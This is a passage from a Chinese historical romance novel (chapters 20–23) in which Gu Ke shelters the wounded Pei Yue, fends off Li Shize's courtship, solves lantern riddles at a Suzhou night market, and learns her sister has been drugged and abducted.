“还真有一事需要顾姑娘帮忙”,裴越又接着道,“希望姑娘再收留我一段时间,起码先到苏州,此次追查,虽然线索断了,但是通过此前的分析,我觉得他们的下一步,大概也是要去汴州,我自己冒然单独出现比较惹眼,如果能顺路与姑娘同行,扮作侍卫,与大家混在一起出行,想必不会那么惹眼,就是不知道于姑娘而言是否方便”。
这倒是有些出乎顾珂的意料了,她以为船靠岸了,裴越就该离去了,但是细想,又觉得裴越说的话有道理。
她跟顾珈出来游玩的事也不是秘密,好多相熟的人家都知晓,故她们出现在汴州是十分合理的,裴越混在她们中间,确实不太会引起别人的注意。
而且,裴越身上的伤还未好,如果像他说的那样,还有人在追杀他,那在汴州给他放下,确实让人放心不下。
何况他对自己还有救命之恩,他又是替圣人办差……
顾珂轻咬出门瓣,似乎于公于私,于情于理,都没有不帮他的道理。
“扮作侍卫怕会委屈了裴公子”。
裴越见她松口了,忙道,“顾姑娘肯伸出援手已是感激不尽,这已是最好的办法了,就是要麻烦顾姑娘了”。
“裴公子曾经救过我,再说这不过是举手之劳,何谈麻烦”,顾珂道。
裴越还要再说话,却是秋儿熬好了药,端进了屋。
见裴越醒了,喜的差点没把药碗摔了,“小公子,你终于醒了”。
秋儿上前又把了一下裴越的脉像,“小公子吉人天相,底子强健,又救治急时,这回退了热,只要再好好将养些日子就无碍了”。
裴越道“看来是在下命不该绝,碰上了姑娘,要不然真不知如何是好”。
20. 心动
“裴公子哪里的话,这都是你当初积下的善缘,如果没有秋儿,我们当真束手无策了”,顾珂道,看了秋儿一眼,“药应是晾好了,赶紧服侍裴公子用药吧”。
秋儿自是上前服侍裴越用药不提。
因着裴越醒了,未免引起他人注意,到了晚间,顾珂便未与顾珈一起用饭,让人把饭摆到了房间。
裴越晕睡了几天,还有些昏沉,只喝了几口粥便罢了。
到了就寝的时候,裴越看知情他们在外间摆寝具,不由低笑道“当真是给姑娘填麻烦了”。
“无碍,倒是让裴公子受委屈了,将就两晚,到汴州就好了”,顾珂坐到外间的罗汉床上,随意拿本书消消食。
“我们也算相识多年了,此番又受姑娘搭救,我们也别公子来姑娘去的了,二姑娘叫我裴越吧”。
顾珂翻书的手停顿了下,沉吟片刻道,“裴公子应是比我年长些,如不嫌弃,那我叫你裴大哥吧,裴大哥可以叫我二妹妹”。
“二妹妹可有小字”,裴越又问道。
顾珂微皱了下眉头,顿了下道,“我小字蓁蓁”。
“蓁蓁……妹妹”,裴越念了出来。
庆幸此时她坐在外间,裴越的角度应是看不到她,她耳尖微热,只觉得那几个字似在他嘴里绕了一下,似随着灯影在她心上轻晃了下。
船上的两日过的极快,转眼便在汴州靠了岸。
裴越戴上帷帽,混在侍从中一起下了船。
顾珈一行在汴州的樊楼落了脚。裴越单独开了个房间。
又经过了几日的休养,裴越的精神好了很多,顾珂、顾珈等人敲门进去时,刚刚扬手放飞一只信鸽。
“顾大姑娘,蓁蓁妹妹”。
顾珈不由扬起眉道“蓁蓁妹妹?”
顾珂脸上浮现一丝不一起,不接话,只从秋儿手中接过食盒,摆在桌子上。
裴越笑笑,看看她二人身上的外出的衣衫,坐到桌边道了声谢,道“二位姑娘是要出去吗”。
顾珈倒也不多纠缠,点了点头,“打算出去逛逛汴州城,裴公子有没有什么需要捎带的”。
“别的倒没什么,只是如果方便的话,劳二位姑娘随意带些成衣回来”,裴越的伤势还不宜多活动。
他看了看身上的衣服,他原来的黑衣服染上了血,早烧掉了,现在的衣服是在船上时向侍卫借来穿的,不太合身。
他长手长脚的往那一坐,白皙的手腕却是露出一截,看上去略有些滑稽。
他这么一说,顾珈细看之下不由噗呲一笑,“倒是难得看到素来衣冠雅洁的裴公子也有这样的一天”。
裴越脸上倒未见窘迫,只落落大方的坐在那里任顾珈打量,“有劳二位姑娘了”。
顾珂二人见裴越没什么别的需要便告辞出来,留裴越用餐。
顾珂把知情留下照顾裴越,领着知意和秋儿跟着顾珈等人出了樊楼。
汴州自古便是重要的军事重镇,经过前几任节度使的营建,如今城内百业兴胜,一片繁华景象。
顾珈姐妹顺着汴河的沿岸一路逛去,但见岸柳新绿,州桥上游人如织,茶摊酒肆密布。
几人一边走一边感受汴州的风物,知意觉得自己眼睛都不够看了,得到顾珂的允许,一会买个毕罗尝尝一会又被街边新出锅的古楼子吸引了。
顾珂几人也分着尝了尝,觉得十分新奇,竟是走了一路,吃了一路。
最后回到樊楼的时候,竟是大包小包。
顾珈吃的肚儿混圆,直道晚食不用准备她的了,便自去休息,顾珂想着裴越的衣服,便带着知意和秋儿准备给裴越送衣服。
几人刚迈到二楼,正好从另一侧走廊步出来一行人。
“顾姑娘?”那人似是愣了一下,唤道。
顾珂回过头,亦是愣了一下,反应过来后弯身行了一礼,“李二公子”。
来人竟是李时泽。
李时泽看见当真是顾珂,点头还了一礼,面上露出一丝惊喜,“没想到能在这里碰到顾姑娘,不知姑娘到汴州来是?”
“跟家姐去江南探亲,路过汴州”,顾珂道。
“原来是这样,我也是要去江南办些事,倒是十分有缘在这里碰上姑娘,不知姑娘打算在这里呆上几日?”
“大约五日左右”。
“那与我们的时间差不多,这几日我也住在这攀楼里,如果有能帮上忙的,姑娘尽管开口”,李时泽又道。
顾珂对于李时泽显露出来的好意,略感意外,二人只马球赛时见过一面,且那一面对彼此的回忆都算不上友好,只是伸手不打笑脸人,李时泽主动示好,顾珂也不好太过僵硬,寒喧了几句,便领着知意和秋人去了裴越房间。
知情仍守在裴越门外,顾珂接过知意递过来的食盒,便让她先去休息。
裴越正靠在窗边的榻上,透过半阖的窗子看向窗外,不知是在观察行人还是在沉思。
屋子里没有点灯,外面天色已是渐黑,知意快步走到桌前点亮了灯。
裴越见顾珂回来了,好看的眉眼微微绽开“蓁蓁妹妹回来了”,又看了看知意和秋儿捧了满怀的东西,挑了下眉,“看来收获颇丰啊”。
因着这几日朝夕相处,顾珂与他也熟悉了很多,说话也渐渐自然了些,不再像刚认识那样拘谨。
她从秋儿手里挑出给裴越带的衣服摆到了桌子上,“这些衣服裴大哥回头试试可合身,如果不合身,我再准备”。
裴越看了看顾珂带回来的衣服,颜色大都是青石色,象牙白之类他常穿的衣服颜色,不由赞顾珂心细,微笑着道了谢。
顾珂又把给他带回来的食物与他一一展示了,有羊肉馅的古楼子,蟹黄口味的毕罗,甚至还有捏成舞女造型的蒸饼。
裴越只笑着听着,只觉此时的顾珂略带着些兴奋,眼睛像狸奴那样,泛着莹润的光,一时竟觉移不开眼。
顾珂见说了半天未见回应,下意识的抬头,却撞进了他幽深的目光,一时心漏跳了一拍。
顾珂忙收回礼线直起身子,抿了抿唇,突然想起,“我刚才在门口碰上了庆王府的二公子”。
裴越把玩着手中的
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茶杯,“我听到了”。
想到裴越的耳力,顾珂了然,又低声道,“看他的意思也在要这住上几日,如果不方便,我们可以换一家酒楼”。
裴越摇了摇头,“无妨,左右不过这几日,我不出门,小心些应当无事”。
到了第二日晚间,李时泽却是敲了顾珂的门。
知意拉开门,顾珂见是他,颇有些意外,而他说出来的话却更让人意外。
“顾姑娘,今天是清明,听说水门夜市有杂耍,很是热闹,不知姑娘是否有意愿一同去见识一下”。
顾珂下意识的正要回绝,却是被刚走到门口的顾珈打断。
“早听说了汴州的桥市、水门夜市繁华,赶上今日节日,倒是正好有机会去见识一下”,顾珈又对顾珂道,“走吧,一起去看看,正好有李公子为我们保驾护航,倒是十分安全了”。
“人多自是热闹有趣,那二位姑娘准备一下,在下在一楼大堂等你们”,见二人没反对,李时泽点了点头,转身先下了楼。
待李时泽走远,顾珂不赞同的看向姐姐。
顾珈不在意,还朝顾珂挤了挤眼睛,低声道,“这个李时泽倒跟他那个没长脑子的妹妹不一样,他这明显是对你有些意思啊,了解一下也没什么不好”。
顾珂眉头微蹙道“姐姐莫胡说,不过是他乡见到认识人,顺路同游罢了”。
“那你刚才干嘛要拒绝”。
“我……终归是外男,不太方便”。
“不过是大家顺路游玩一下罢了,没什么大不了的,不要想太多,我去换衣服了”,顾珈说着转身回了自己的房间。
事已至此,顾珂只好换了衣服与他二人一同前往。
暮色四合,汴水边的街市又换了新的面貌,连绵的纱灯、烛火、琉璃灯串起天街,照亮了半边天。
喷香的胡饼与炙肉的香气勾着来往路人的魂,细听之下,沿街的吆喝声里还夹杂着胡语,热闹非凡。
顾珈姐妹并排走着,到底是年轻女子,不时被路边摊位上的新鲜物什吸引。
李时泽走在顾珂的外侧,不时的用身体格挡一下拥挤过来的人流。
行至一处卖花灯的摊位前,二人被花灯的新鲜图样吸引,一时竟挑花了眼。
看看这个,又看看那个,竟觉都十分满意。
李时泽十分有耐心的候在一边,他承认,若单论美貌,顾珂是不及顾珈的。
这么一会儿子,身边的人流竟越来越多起来,细瞧之下大部分都是男子,视线都若有若无的瞄向顾珈的方向。
顾珈本就美的突出了,灯下看美人在琉璃花灯的映衬下,美的更似谪仙下凡。
而他的视线却不由自主的落到了顾珂身上,顾珂正低头与顾珈比较着两盏灯,不时轻笑起来。
在家人面前的顾珂多了几分小女儿的性情,少了几分外人面前的端庄,一袭素色的半臂襦裙衬得她身姿窈窕,额前垂落的几缕发丝被夜风轻轻拂动,似也拂过了他的心。
他不由自嘲的笑起了自己,竟为此前只有一面之缘的人心动了。
21. 仰慕
李时泽自问并不是未见过女子的毛头小子,相反,他自小生活在皇室圈子,各种形态的美人,他如数家珍。
他母亲庆王妃便是个公认的大美人,甚至他妹妹静宁县主,虽性情跋扈了些,亦是个美人。
可此时只能算是清秀之姿的顾珂,却让他的心脏不由自主的跳动加快。
其实他们也只见过一面而已,他也说不上她什么地方吸引了他。
大约是那一面中她面对上位者的表现出来的不卑不亢、面对逆境时的迎难而上,以及面对绝境时的坚韧不拔,随着她马球场上的最后一击,击到了他的心里。
他现在还记得她勒马回转时的轻轻一笑。
在长安还好,他在心里一过,便也被琐事冲淡了些,在这千里之遥的汴州竟然又碰到了她,当时的心动却是抑制不住。
为什么要抑制呢,李时泽并不是个纠结的。
此时此刻他意识到了对顾珂的好感,机缘巧合之下又有了共处的机会,那这个机会,他便要把握住了。
李时泽握了握袖子里的木盒,脸上溢出坚定的神色。
顾珈姐妹选定了灯,顾珈选了一盏莲花灯,顾珂则提着一盏玉兔灯,一盏银燕灯。
顾珂将那把银燕灯递给一旁的李时泽,笑道“让李公子久等了,刚才听老板说这边流行清明提灯出游,说是能讨个平安如意的喜气,这盏银燕灯李公子如不嫌弃,便提着讨个彩头吧”。
李时泽有些意外之喜,清隽的脸上露出一丝笑意,冲淡了他本来微有些冷傲的气质,“那便承姑娘吉言了”。
几人继续顺着人流往前走,碰到了一个像是北边来的摊贩卖的小摊,里面有一些长安未见过的武器。
顾珈被里面的鹿皮软鞭、牛皮鞭、犀牛皮鞭等吸引,竟挪不开步了。
李时泽见她还得挑上一挑,二人站在人流中间,怕顾珂被冲撞倒,便护着顾珂靠至路边。
顾珂随着他往边上走,却被路人撞了一下,李时泽下意识的扶了她一下,把她拽出了人流。
出了人流,顾珂低头着道了声谢,却是忙收回了手,虽然二人只是隔着袖子拉了一把,倒底不妥。
李时泽也意识到了不妥,收回手后,却是心神微荡,看顾珂低头不语,手一伸,竟掏出了个盒子递到了顾珂眼前。
顾珂不明所以的看向他,他眼底眨着温柔的光,打开盒子,里面静静躺着一支梅花簪子,虽不是顶级的羊脂玉,但在梅花蕊上点缀着两抹糖色,增添了几分别致。
他解释道“刚才看到的,觉得很衬姑娘的气质,不值当什么,给姑娘随便戴着玩吧”。
顾珂忙推拒道,“这于礼不合,我不能收”。
李时泽笑道,“就当是之前舍妹冒犯姑娘的赔礼吧,没有别的意思,还忘姑娘莫要推辞。”
顾珂仍摇头拒绝。
“其实令仪上回马球赛之后,被皇兄禁足后,又被母妃教育了一番,其实心下已然为自已当时出言不逊感到悔恨,此前还说过要给姑娘赔礼,只她那个人一惯要强,拉不下脸来罢了,既然有机会让我碰到了姑娘,就让我这个做哥哥的替妹妹尽尽心意,如果姑娘不收,那就是对这件事仍然耿耿于怀了,再说姑娘方才都送了在下一盏灯,这便算做回礼罢了,总不能让在下失了礼数”。
顾珂闻听此言知道不好再拒绝,咬了咬唇道,“李公子客气了,我早已不放在心上了,那我便厚颜收下了”。
李时泽见她答应收了,心下微松。
顾珈挑了一个鹿皮软鞭回来,眼尖的瞄见了知意手中拿着的盒子,只看了二人一眼,未多言语,三人便向前寻杂耍去。
待几人寻到近前,却正是赶上杂耍游行,本就拥挤的巷子,一时更是水泄不通。
顾珈三人正是与游行的队伍相向而行,有追着游行队伍看热闹的人群跟着往他们这边来,竟一时拥堵不堪。
顾珂牵着顾珈的手竟一不小心被人流冲开,眼看着顾珈等人被相反方向过来的人生生的越推越远,竟是毫无办法。
李时泽起初还紧紧护着顾珂,却不防人越来越多,一转身却是不见了顾珂的身影,一时间心头焦急,四下去寻,却被身边的人群牢牢遮住了视线。
而顾珂则一个人被挤着往来时的方向走,她只好顺着人流的方向走一边小心翼翼的护着自己,就这样,肩膀仍是被实实的撞了好几下。
她闷哼了声,咬住了唇,不用看,被撞的部位肯定是淤青一片。
就这样被挤着向前行了一段,突然腿上一绊,身体失去了重心,顾珂心里一惊,在这里摔倒的话,身后的人就是想停步都停不了,会被挤着从她身上踏过去,那后果顾珂都不敢想。
她的手下意识的胡乱挥舞,却徒劳无功。
就在顾珂的心沉到了谷底,绝望蔓上心头时,一支有力的手臂从旁伸出,钳住了她的腰,用力一带,她便跌入了一个温暖的怀抱。
免于被踏成肉饼,顾珂心里松了一口气,她下意识的以为是李时泽救了她,抬头感谢道“谢谢李……”。
视线撞进了裴越黑沉的眼眸时,未出口的几个字生生的咽下。
“裴大哥,你怎么出来了”,看到裴越,她很意外,想起他的伤,又下意识的关心道。
裴越深深的看了她一眼,淡淡道,“听说这边今晚很热闹,在房间闷的无聊,一时兴起便来看看”。
“那你的伤如何了,这边这么挤,人这么多”,顾珂忙低头想看裴越的伤口部位,这才意识到二人离的有多近。
此时她正贴着裴越的胸膛,裴越一低头,她就能感觉到他温热的气息洒在她的耳廓,而护着她的手臂手臂隔着薄薄的春衫正散发着烫人的温度。
二人实在离的太近了,顾珂都没有办法看到他的腹部的伤口,而裴越身上干净好闻的气息夹杂着丝丝药香钻进了她的鼻孔。
顾珂不自觉的想要离开些距离,旁边陌生的醉汉贴了过来,吓得她又忙靠了回来。
她感到裴越的胸膛轻轻的震动,似乎听到了裴越轻笑了下。
她却不敢抬头看他的表情,此刻,不用摸,她都感受到了脸颊的热意。
“无妨”,裴越开口道,“我先带你回去吧,使个人来这边等着她们,再者一会她们找不到你自然会回樊楼,在这边等也无益,人太多也是碰不上”。
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顾珂点点头,裴越便一路护着顾珂回到了樊楼。
过了一会,收到信的李时泽和顾珈等人也安全的回来了,为了掩人耳目,顾珂只道是自己回来的。
只是秋儿皱着眉头检查了一番后,发现裴越的伤口又裂开了。
接下来的几日,顾珈姐妹把汴州附近游的差不多了,裴越经过这几日的静养,伤口表面看上去已无大碍,顾珈等人便准备离开汴州继续坐船往扬州。
李时泽却敲开了顾珂的门,“顾姑娘”。
顾珂看到他颇感意外,略一思索便知道他大约是知道她们要走的消息,“李公子”。
“不知姑娘是否方便,陪在下去汴水边转转”。
“李公子有什么事吗”。
李时泽笑道,“没什么,姑娘别介意,这几日办差事忙,都没有机会好好的转一转,那天游夜市又那样匆忙,未曾好好游玩,再说好不容易出来了,想给令仪和母妃带些小玩艺回去,只我也不会挑,想劳烦姑娘”。
见他这么说,顾珂也不好推拒,便带着知情和秋儿与他一同前往汴水边的商铺。
“今日看姑娘府上的人在收拾东西,姑娘准备何时启程”,路上李时泽问道。
“在汴州已经呆上了几日,我和姐姐准备明日便启程”,顾珂道。
李时泽锋利的剑眉微皱,“这样匆忙,姑娘下一站准备去往哪里”。
顾珂回道,“先到再到扬州呆上几日,最后再到苏州”。
李时泽的眼睛亮了亮,“我要去别的地方去办点差事,大约十来日后也要到苏州,不知姑娘在何处落脚,如果有时间,我去拜访姑娘”。
顾珂就是再迟钝,面对这样的示好,心下也已了然。
她几不可闻的叹口气,脚步微顿,正要寻个理由敷衍过去。
李时泽却又开了口,“姑娘不要有负担”,他轻笑了下,“想必姑娘也看出来了,在下确实仰慕姑娘”。
见他直接道了出来,顾珂停住脚步,看向他,未言语。
李时泽转头看了看湖边摇曳的新柳,“在下想追求姑娘,知道姑娘并不是那种在意王府门弟的人,所以以往有的东西也不知道该拿出什么来吸引姑娘,只是仰慕姑娘的心是实实在在的,姑娘也不用急着拒绝,如果姑娘现在没有喜欢的人的话,何妨给在下一个机会,等姑娘了解后再下再决定,可以吗”。
“李公子,莫要开这种玩笑”。
李时泽走近了一步,直视顾珂的眼睛“在下从来不开这种玩笑,也不会逼迫姑娘,只是希望姑娘给在下个机会,就当多个朋友相处,如果最后在下不能引得姑娘垂青,在下也绝不会再纠缠”。
*
顾珂也不知道与李时泽二人是如何回樊楼的。
她面对静宁县主的羞辱能够心绪平静,却觉得这样尴尬的局面有些难以应付。
在李时泽的追问下,顾珂只好将苏菱在苏州的家告诉了李时泽。
李时泽给她送回房间后,才心情不错的回到自己房间。
顾珂回到房间后心下惦记裴越,她趴在门上听了听,确认走廊无人后,快步出来走到裴越的房间敲了敲门。
22. 花灯
裴越正倚在窗前的榻上翻书,看她进来,垂下眼睫,随手所书放在桌边“蓁蓁妹妹回来了”。
顾珂嗯了一声,发现他开着窗子,那刚才她与李时泽一同回来,想必都被他收入眼底了。
没来由的,顾珂竟觉有些心虚。
又不禁暗付自己心虚个什么劲,别说她与李时泽什么事都没有,就算有什么,也没有对他心虚的道理。
何况……他都要被赐婚了。
想到这里,她心里有点闷闷的,暗暗嘀咕两句,走到窗前关上窗子,道“晚上了,外面风凉,还是关上吧”.
裴越未置可否。
顾珂又看了一眼桌子上的食盒,发现食盒分毫未动。
打开盖子确认了一下,不由皱起眉头“裴大哥未用晚食么”。
裴越没抬眼,只是睫毛动了一下,声音轻飘飘的落下“有点没胃口”。
顾珂闻言,眉头狠狠拧起,“那怎么行,不吃东西不利于你的身体痊愈”。
她想了想又道“这个点了,想必厨房也没什么东西了,正好我也有些饿了,我去煮两碗面,陪你一起用些吧,在家中的时候祖父最爱吃我煮的面了,说我煮的面比厨娘煮的好吃”。
裴越这才抬起头,眼睛里浸了一丝笑意“如此,会不会太麻烦蓁蓁妹妹了”。
“下碗面而己,很快的”,说完,顾珂便转身去寻厨房煮面。
裴越又拿起了桌子上的书翻了起来,只嘴角的弧度一直未平。
没过多大一会,顾珂便端着两碗面回转,瓷碗刚落桌,热气就浸了两人一身。
顾珂做的是两碗清汤面,白嫩的面条上卧着黄澄澄的鸡蛋,碗沿点缀着几缕芸苔。
“有劳蓁蓁妹妹了”,热气腾腾的面香勾动着裴越的胃蕾,他当真是饿了。
他等顾珂坐下,先把筷子递给她,目光先落在她尤带面粉的指尖。
才尝了一口,眼睛一亮,不由真心赞叹道,“妹妹好手艺,比起春风楼的大厨也不遑多让”。
顾珂也挑起一箸爽滑的面条,热乎乎的吃下去,也觉得十分满足,闻言笑道,“裴大哥说笑了”。
裴越笑笑不再说话,他如一般的大家公子一样,讲究食不言寝不语,他吃的安静,却一口紧着一口。
她坐在对面,看着他垂眸认真吃面的样子,嘴角不自觉的弯起。
偶尔裴越抬眼,撞上她含笑的视线,嘴色亦不由自主的扯起弧度,只他一笑,顾珂又回过神把脸埋进碗里,脸颊微热。
顾珂不用抬头都知道自己的脸肯定是红了,想来是这面汤太热了。
船在水中行了几日后一行人在泗水短暂停留后便直奔扬州,在扬州很是游玩了几天,终于是到了苏州。
到了苏菱的宅子,才知苏菱当真是低调的很。这宅子粉墙黛瓦,叠山理水,亭榭参差,花园中又以太湖石叠作假山,整个宅子占地面积极大,又古朴别致。
递上苏菱的帖子后,早就得了信的仆人热情的领着众人去准备好的院子,一路介绍着宅子中的情况。
这宅子中的主人只苏菱一家人,都已随苏菱等人搬到了长安,现在只余些老仆打理园子。
自收到了苏菱的信,得知可能有客要来后,这些老仆更是把园子里外都打扫了个遍。
顾珂等人一路走来,只觉花繁叶茂,丝毫未有许久未住人之感。
裴越的伤已是好得差不多了,自汴州再上船就以顾珂堂哥的身份自称,故而苏府的老仆道“二位顾姑娘住湖心的揽月轩,顾公子就住在花园旁的致仆斋,离的很近,穿过湖边的回廊就是,很是方便”。
这安排当真周道,既有独立的空间,彼此又离得不远,相互照顾。
尤其那揽月轩,三面环水,推窗就是满湖清光。
顾府在长安的宅子其实也不小,但比起苏家的宅子,少了这湖水的碧绿,又少了这份古朴意境,故而姐妹二人对这住处十分满意。
顾珂打定了主意,这几天一定要在揽月轩二楼阳台临湖小酌一下,才不算辜负这美景。
“多谢老人家”,顾珈道。
“小的姓田,公子、姑娘们叫我田大就好,我留几个小丫头在各院门口做些杂事,绝不让他们进屋扰了客们的清静,几位有事尽管吩咐他们,我就在前院,有事使他们唤我一声就行,照顾不周,几位贵客莫要见怪”,田大看出了几人的满意,微松口气。
“田伯客气了,你一个人张罗这么大的宅子,当真辛苦,不用管我们,你自去忙就行”,顾珂道。
田大笑笑,“三餐点心等物已安排好,到时间自会送到几位贵客屋内,几位如另有需要,使个小丫头去厨房说一声就好,主人再三交待,一定要让几位贵客住的舒心”。
说罢,田大将几人送到了揽月轩,派了几个小丫头帮顾珈等人安顿,又引着裴越去了致朴斋。
到了晚间,裴越来寻顾珈二人。
却是邀她二人去夜市同游,“刚才听苏府的仆人说,阊门一带最为繁茂,晚间尤甚,特来邀二位妹妹同往”。
顾珈与裴越同岁,比他小上几个月,她正坐在湖边喂说。
闻言目光在他二人中间转了一圈,道,“我是不去了,这船坐的人头晕的很,我要休息了,你们去吧”。
裴越又看向顾珂,“蓁蓁妹妹可愿同往”。
顾珂对诗人杜荀鹤描绘的的“夜市卖菱藕,春船载绮罗”,心中十分向往,便与裴越带着知情知意同去了。
顾珈望着裴越二人的背影渐行渐远,打了个大大的呵欠,唤绿芷去弄些酒菜,一个人坐在廊下自斟自酌起来。
风从湖面漫过来,带着湖水的清润与草木的清甜,飘进了顾珈的鼻间,初夏的蝉鸣亦充斥于耳间。
几杯下肚,顾珈已有些微熏,不由靠在榻上,双眼微阖。
过了片刻,顾珈突的睁开双眼,不对!
周围太安静了,她心中警铃大作,忙唤道,“白芍!绿芷!”
却无一人应答,顾珈心下一沉,忙要站起来,双腿却突的使不上劲,摇摇欲坠间,她忙扶住石桌稳住身形,才不致倒在地上。
顾珈知道出了问题,视线掠过桌子上的酒壶,看来是酒里掺了东西,只不知是哪一环节出
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了问题。
她使劲咬着嘴唇,想让自己保持清明,头却越来越晕沉,眼皮也越来越重,她挣扎了片刻,终究是抵挡不住,滑倒在地上,迷迷糊糊间,只看见了几个影子慢慢的走向她。
*
阊门一带是运河枢纽,商船云集,沿路酒旗招展,各种商店鳞次栉比,岸边夜市已是灯火连绵,有串串灯笼悬在檐下,引着小娘子们纷纷驻足。
顾珂被一个白鹭转花的灯引得驻足,裴越见她喜欢,便欲买下。
那老板却笑道“这位公子,您二位真有眼光,小老儿的这是家传的手艺,咱这摊位上面的这排灯,颇费心血,都是不卖只送的,只要你能答上三个灯谜,这上面这排的花灯你就随意挑一盏,要不然您看看这第二排的灯,都是正常卖的”。
顾珂目光在下面的灯上巡视了一圈,都觉不如意,摇摇头道,“老板当真慷慨,只是对这个灯确实有眼缘,只不知是什么灯的谜面,老板不妨说来看看”。
老板倒是不奇怪,每天像这样问的客人多了,只他这上排的花灯,总不见少。
他道“咱这第一谜猜一个东西,是一首诗谜,倚阑干柬君去也,霎时间红日西沉,灯闪闪人儿不见,闷悠悠少个知心”,说罢,笑吟吟的看着他二人。
只他话音刚落,裴越就笑道,“是门”。
顾珂也猜到了,看了裴越一眼,裴越接着道“这个简单,出自王安石的门这首诗,意思为阑去柬为门,间去日为门,闪去人为门,闷去心为门”。
老板赞叹道“这位公子当真聪慧,这第二谜是个字谜,公子听好,日出东海东落西山,愁也一天,喜也一天”。
裴越略一沉吟,胸有成竹道“是旦字,日字出头为旦,寓意日出日落,一日之始终”。
这时周围也聚了不少看热闹的人,闻言不由鼓起掌来,甚至有人叫起好来。
顾珂也被这种氛围感染,裴越回过头时,她嘴角正漾起甜甜的弧度,看着他的眼睛里盛载着花灯的光亮。
一时竟让他移不开眼,直到老板的声音拽回了他的思绪。
“公子当真好才华,只是这最后一题,跟前两题不是一个难度,也有不少人答出了前两题,却最终都输在了第三题上”。
裴越收回视线,道“老板尽管出谜面就是了”。
“那公子听好了,这第三谜打一个字,一月复一月,两月共半边,上有可耕之田,下有长流之川,四口共一室,二口不团圆”。
周围的人听到谜面纷纷沉思起来,还有的小声嘀咕,有猜是围字的,有猜是周字的。
裴越略一沉思,心中已是有数,他看向顾珂,顾珂也正眉眼弯弯的看着他,便知她也猜到了。
“这最后一谜,蓁蓁妹妹来揭开谜底吧”。
顾珂也不推辞,微扬起声音,道“是用字,两个月字共用半边,上面是田可耕,下面是川水水流,整体四个口,像四口人在一室,其中两口不完整不团圆,便是用字,老板,我说的可对”。
周围有听到顾珂的谜底略一思索随即恍然大悟的,有还没琢磨过味,等待老板揭谜的。
23. 遇劫
老板一愣,随即大笑道“哈哈,公子姑娘当真好文采,小老儿佩服,那这盏白鹭转花灯就送给姑娘了”。
一边说着,一边取下那灯递给了顾珂。
顾珂心中当真喜欢那灯的别致,喜道“谢谢老板慷慨,祝老板生意兴隆”。
说着转身要离开这摊位,却发现裴越未动,她不解的以眼神询问。
裴越却仍驻足在摊位前,回头望她,眼中有细碎的光,“妹妹能不能送我一盏灯”。
顾珂愣了一下,眼中浮现不解的光。
裴越指着一旁的火凤灯,“不知妹妹可不可以送我这盏灯”。
顾珂心中纳闷,但还是点了点头,转头问了老板,这盏灯是正常售卖的,于是留下了双倍的钱买下了这盏灯。
顾珂从老板手中接过这盏灯,递给裴越,裴越眼底漾开浅浅的笑意,如春风拂过水面,顾珂心头一跳,别开眼。
“谢谢妹妹”,裴越的声音自头顶钻入顾珂耳内,她觉得耳朵酥酥麻的,忙低头掩饰般的去看手中的灯。
二人各自提着灯顺着人流走了一段,知情和知意尽量降低自己的存在感,二人对视一眼,眼神交流一番,各自窃笑。
水边有放河灯的,二人在水前驻足观赏,晚风微熏,顾珂突然发现头发散下来一绺,往头上一探,却是丢了一支簪子,知情见状忙上前帮她整理头发。
她略低着头,由知情帮她重挽头发,水面的波光静静的映在顾珂脸上,裴越看着那绺顽皮的头发自耳后烟着细白的颈子滑入前胸衣领,不自在的忙移开目光,轻咳了下。
顾珂鬓若堆云,少了一支簪子,余下的簪子,知情试了几回都不够挽。
知情正琢磨着要不要改个发式,裴越从怀中掏出一物,递到了顾珂眼前,“簪这个吧”。
一支鲤形鎏金簪子静静的躺在裴越修长的手上,顾珂愣了下,脑中闪过细碎的画面,从他掌中拾起放到眼前细看了下,“这……”
顾珂猛的抬头,对上了裴越含笑的目光。
她的手心合拢,紧紧攥着那簪子,是她在大兴善寺那夜丢失的母亲生前送她的簪子。
她一直在以为那夜奔逃之下遗失了,母亲过世后,有时想起那簪子还会遗憾,没想到却是被裴越拾去了。
失而复得的惊喜充斥在顾珂心间,她眼前不由浮起一层水雾,忙低下头,另一种越来越深的疑惑却涌上了心头。
这簪子裴越保留了五年,为什么。
他知道这簪子是自己的,五年时间,他有很多机会使人送还,却带在身上……
这疑惑在心底越来越强烈,有另一种念头在心底的角落悄悄蔓延开来,那念头她从未敢想。
他就像长安城皎洁的月光,挂在多少小娘子的窗口,这月光能照到她身上了吗。
可是……
可是,他不是要定婚了吗。
顾珂脑中猛的闪现临行时韦二娘和杜忘真的话。
“昌王本人突然进宫求见圣人,亲自向圣人求的赐婚,求的是裴越”。
“一般求亲,都是二家私下里达成默契,再找媒人上门,免得有什么意外,双方面子上都不好看,这赐婚想必也是一样的道理吧,昌王府一贯低调,要是没跟长公主府商量好,大约也不会冒冒然的求到圣人眼前去,不管怎么说,这一对倒真是让人意外啊”。
如果……如果真的是这样,他这又算什么?
顾珂双手握的泛白,一边的衣角已被她攥出了褶皱,唇咬的发白,心中各种念头不断翻涌,她的疑问几乎冲口而出。
“小公子,二姑娘,出事了!”,秋儿紧张的声音突然传来。
顾珂愣了愣回过神,猛的站起来,追问道,“秋儿?!出了何事,姐姐呢”。
秋儿面无血色,胸口因强烈的奔跑而急剧起伏。
她跑到二人跟前,来不及喘气,一口气道“苏府出事了,我跟姐姐去前院给大姑娘寻下酒菜时,发现田大等人都倒在地上,不知死活,我们忙返回揽月轩,只见白芍、绿芷及几个苏府的人都被迷晕了,而大姑娘则被他们带走了,姐姐追着他们去了,沿路给我留了标记,我赶过来报信”。
顾珂脸上的血色瞬间消失,见她状态不对,裴越也顾不得男女大防,担心的扶了她一把,他立刻转头吩咐道,“秋儿,你赶紧去弄两匹马去”。
秋儿应了一声,忙去寻马。
裴越嘱咐顾珂道“蓁蓁,你和知情知意去驿馆等我,我和秋儿去找顾大姑娘”。
顾珂心急如焚之下,也没注意他的称呼,一听他不准备带他,一把拉住他的手,“我也要去”。
裴越一手扶着顾珂的肩膀,认真道,“蓁蓁,我一定把你姐姐安全给你带回来,如果你跟我去,如果遇到情况我肯定会分心”。
顾珂抓紧他的袖子,坚持道“带上我,我肯定不拖你后腿,实在不行我就跑,你知道的,我会骑马”。
没时间多纠结,裴越深深的看了顾珂一眼,相处了这么多天,他知道坳不过她。
几不可闻的叹口气,“如果遇到危险,让你走你马上就走”。
顾珂见他松动,忙点点头。
裴越从怀里掏出一个腰牌扔给知情,“你二人带着这个腰牌去驿馆,驿丞见了自会保护你们,再让他调些人马往城外追”。
知情和知意担心姑娘的安全,却又知道她二人连马都不会骑,这个时候,带上她们只会是累赘,遂点了点头。
见二人听明白了,裴越拉着顾珂去寻秋儿,幸亏几人身处苏州繁华地带,不远处秋儿已是买到两匹健马迎了过来。
